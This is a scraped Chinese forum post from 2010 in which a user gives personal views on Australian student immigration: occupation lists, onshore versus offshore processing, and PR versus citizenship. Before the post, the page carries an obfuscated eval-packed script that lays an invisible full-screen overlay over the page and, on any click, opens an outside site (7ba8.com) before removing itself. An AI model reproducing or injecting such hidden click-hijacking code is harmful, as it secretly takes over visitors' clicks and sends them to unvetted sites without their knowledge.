<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>现在解答下大家常问的问题，都是我自己的理解，不一定适合每个人的，仅供参考。
G4, PY, DRC前面说过了。
1、28后留学与移民彻底分家，28后在读学生都没有任何保证能申请PR。移民与各职业就业程度紧密相关，从这一点上来说，厨师，会计，IT这三大移民专业应该都要死，虽然目前只有tafe们遭殃，另2个现在是移民局手上hold的头两位case大户，随时面临枪毙的风险。其中会计风险最大，也是evans口中要死的三大职业中唯一一个还幸存的，另外2个厨师和美发已经在今年71正式就义。
2、无论自由党还是工党在台上，缩减移民的趋势不会变，但是工党更狠，刀刀见血，所以自由党上台起码对on shore学生能好些。
3、on shore vs off shore：on shore 肯定优先审理，没有任何疑问，cap也是cap off shore,cap应该与on shore没关系，但是毕竟现在的移民部长不是evans,还是有一点变数，但是可能性不大。On shore优先审理不仅维护了留学产业，而且为3年后工党大选提供了更多的支持者，off shore拿到PR还要等4年变citizen，工党肯定是等不及了。但是DRC能否持续下去成疑问，毕竟对off shore太不公平，因此DRC估计会被取消或改进，我认为改进或改头换面的可能性最大。
4、PR or citizen: 我看过别人的讨论，最新的结论是拿citizen占绝对多数。原因有三，一是PR回国后还要面临2年澳洲居留时间来保证PR，无论怎样，两地发展基本不大可能，最终还是要居住在一个国家。第二是citizen拿到后回国没有后顾之忧，不存在澳籍失效的问题，可以用工作签证或者去香港旅游签证来解决澳籍在国内的问题，去香港一般半年一次就成。第三、citizen政策变化，要连续4年居住澳洲才能拿到澳籍，这对于Onshore students非常有利，基本拿到PR后再待一年就可以拿到澳籍。鉴于澳洲移民难度越来越大，有可能错过时机就不可能再拿到澳籍了。
[ 本帖最后由 WorldCupFever 于 2010-9-14 12:51 编辑 ]
联系人：
联系方式： |
|
收藏